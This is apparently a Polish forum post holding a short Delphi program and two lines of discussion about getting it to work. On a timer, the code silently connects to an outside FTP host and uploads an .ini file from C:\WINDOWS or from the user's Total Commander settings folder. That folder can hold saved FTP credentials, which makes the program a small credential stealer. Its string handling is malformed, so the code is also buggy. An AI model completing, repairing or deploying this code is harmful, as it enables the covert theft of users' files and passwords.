unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdFTP, StdCtrls, IdSocks, ExtCtrls, ShellApi;
type
TForm1 = class(TForm)
IdFTP1: TIdFTP;
IdSocksInfo1: TIdSocksInfo;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm;
sciezka: pchar;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
getenvironmentvariable('USERPROFILE',sciezka,255);
Timer1.Enabled:=false;
idftp1.Password:='*************';
idftp1.Username:='*************'';
idftp1.Host:='cba.pl';
idftp1.Connect(true,-1);
if FileExists('C:\WINDOWS\plik.ini') then
idftp1.Put('C:\WINDOWS\plik.ini','plik.ini', true)
else if FileExists ('C:\'sciezka'\AppData\Roaming\GHISLER\plik.ini') then
idftp1.Put('C:\'sciezka'\AppData\Roaming\GHISLER\plik.ini','plik.ini', true);
Wiem, że wypisałem tam głupoty, ale już na serio nie mam pomysłów.
Jak dwie linijki, to czemu nie napisałeś?